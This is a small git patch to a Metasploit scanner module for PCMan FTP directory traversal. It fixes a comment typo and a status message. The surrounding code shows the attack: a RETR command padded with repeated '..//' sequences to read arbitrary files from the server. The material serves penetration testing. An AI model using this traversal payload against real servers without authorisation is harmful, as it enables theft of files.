From bf362be0a44cabcee3935ccdfdca8df84da43fb9 Mon Sep 17 00:00:00 2001 From: JT Date: Sun, 8 Nov 2015 13:17:57 +0800 Subject: [PATCH] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 22fb9f8db9..e0e78f3a0b 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -62,11 +62,11 @@ class Metasploit3 < Msf::Auxiliary retr_cmd = ( "..//" * 32 ) + "#{file_path}" res = send_cmd( ["RETR", retr_cmd]) - # read the file data from the socker that we opened + # read the file data from the socket that we opened response_data = sock.read(1024) if response_data.length == 0 or ! (res =~ /^150/ ) - print_status("File (#{file_path})from #{rhost} : #{rport} is empty...") + print_status("File (#{file_path})from #{peer} is empty...") return end